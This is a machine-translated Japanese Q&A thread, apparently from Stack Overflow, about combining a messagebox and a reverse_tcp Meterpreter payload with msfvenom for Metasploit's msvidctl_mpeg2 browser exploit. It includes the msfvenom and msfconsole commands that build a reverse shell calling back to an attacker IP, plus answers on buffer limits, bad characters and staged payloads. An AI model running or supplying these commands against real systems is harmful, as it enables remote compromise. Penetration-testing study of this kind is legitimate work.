0

私は新しいMSF4(フレームワーク:4.1.0-release.13988、コンソール:4.1.0-release.13581)のマルチペイロードサポートをmsfvenomとカスタム/汎用ペイロードを使用して遊んでいますが、エンコーディングと互換性の観点からペイロードがサポートするものに関する情報。

基本的に、サーバー側のサービスをシャットダウンして、メータープリターにバインドされていないポートでリッスンさせる方法を検討しています。(エクスプロイトは別のポートに侵入します)

基本的に、msgboxとMeterpreterをexe、raw、および.rbとして連続して使用して、msfvenomを使用してマルチペイロードを作成しました。エンコーディング設定をそのままにして、Noneに設定してみました。(カスタム/汎用ペイロード.rbソースは、Noneエンコーディングのみを許可することについて何かを言っていることに注意してください)

c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom  -p windows/messagebox -f raw -e generic/none EXITFUNC=thread > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=thread > test\msgterp.raw

EXITFUNCを「none」に設定して試してみました。

c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom  -p windows/messagebox -f raw -e generic/none EXITFUNC=none > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=none> test\msgterp.raw

次に、generic / customペイロードが使用できるものにrawmultipayloadを書き込む必要があります:(raw、exe、.rb形式に書き込んでみたことに注意してください)

c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p - -f exe > msf.exe < test\\msgterp.raw

最後に、generic / customでmultipayloadを試してみましょう:(設定してエクスプロイトを試みる前に、毎回エクスプロイトをリロードしたことに注意してください)

msf > use exploit/windows/browser/msvidctl_mpeg2
msf  exploit(msvidctl_mpeg2) > set PAYLOAD generic/custom
PAYLOAD => generic/custom

msf  exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.raw
PAYLOADSTR => c:\metasploit\test\msf.raw
msf  exploit(msvidctl_mpeg2) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

msf  exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.exe
PAYLOADSTR => c:\metasploit\test\msf.exe
msf  exploit(msvidctl_mpeg2) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

msf  exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.raw
PAYLOADFILE => c:\metasploit\test\msf.raw
msf  exploit(msvidctl_mpeg2) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

msf  exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.exe
PAYLOADFILE => c:\metasploit\test\msf.exe
msf  exploit(msvidctl_mpeg2) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

そこで、「エンコーダがエンコードされていません...」というエラーの意味についての説明を見つけました。(http://en.wikibooks.org/wiki/Metasploit/Frequently_Asked_Questions)これは、ステージャーのペイロードが入ってくる場所だと思います。

エラーの原因は、ステージングされていないため、windows / msgboxペイロードですか?それとも、マルチペイロードがステージングされていないということですか?それが遅い場合、ステージングされない限り、マルチペイロードがどのように機能するかはわかりません。2つのペイロードを組み合わせると、1つのペイロードよりも大きくなる可能性があります。

誰かが少なくともジェネリック/ペイロードペイロードと互換性があるはずのエンコーディングとフォーマットを説明して、それを除外できるようにできますか?マルチペイロードサポートへの参照は2、3しか見つかりませんでした。

前もって感謝します!一度これを機能させた方法で返信することを約束します。

4

2 に答える 2

1

返事が遅くなってすみません。

MSF 4.1 には、汎用/カスタム ペイロードではなく、msfvenom に関するバグがありました。私が生成したペイロードは、許容される 1024 バイトよりも明らかに小さかった。これは、HDM 自身がバグであると示唆している専用のスレッドです。

https://community.rapid7.com/thread/1332

また、msfvenom の修正と共に記録されたバグ ケース:

http://dev.metasploit.com/redmine/issues/4714

マルチペイロードサポートを使用している人は誰もいなかったと思います。以前の msfvenom の不格好な使い方に混​​乱しないでください。この質問を投稿するまでに私は必死だったので、シェルコードを書くことなく、問題があると思われるものをすべて含めました。HDM がこれがバグであることを認めたとき、私は 2-in-1 シェルコード テストの書き方を学ぼうとしていたところで、別の道に進むことにしました。(私は MSF Pro Trial を入手し、マルチホップ テスト シナリオを解決するために VPN ピボットをセットアップしました)

返信ありがとうございます。

于 2012-01-05T02:15:10.877 に答える
1

このようなことに飛び込む前に、いくつかのエクスプロイトのダイナミクスと従来のメモリ破損バグのエクスプロイト戦略を理解しておくと役立つと思います。

The Art of Software Security AssessmentまたはShellcoder's Handbookをお勧めします。

そうは言っても、ここで何が起こっているのか. バッファオーバーフローでメモリを「掘り出す」と、保存されたスタックフレームと命令ポインタにヒットする前に、エクスプロイトに利用できるスペースが限られています. MPEG2ブラウザのバグ(あなたが悪用しようとしている) はスタックに 1024 バイトを割り当てます。これはペイロードの制限であり、標準のシリーズ ( \x00\x09\x0a\x0d、Thats null char、stop、Carriage Return、およびこれにより、これを念頭に置いて書かれていないシェルコードにさらに制限されます。

ただし、Metasploit は非常にスマートで、通常は「安全な」悪用可能な命令でいくつかの命令をモックアウトできますが、命令セットの不一致、スタックの爆発などにより、これが常に可能であるとは限りません。 「仕事」とMetasploitがエラーをスローします。

ご想像のとおり、これはシェルコードをステージングする必要があることを意味します (エラー、つまりペイロードのことです)。通常、優れたステージング ペイロードは、複数のメモリ ロケーションに分割して分散できますが、復元力 (または反復性) が高く、自動的に元に戻すことができます。エッグハンティングと呼ばれる手法を使用します。私があなたの立場なら、汎用のリバース バインドwindows/meterpreter/reverse_tcpを使用します。

幸運を祈ります

于 2011-10-28T19:50:56.060 に答える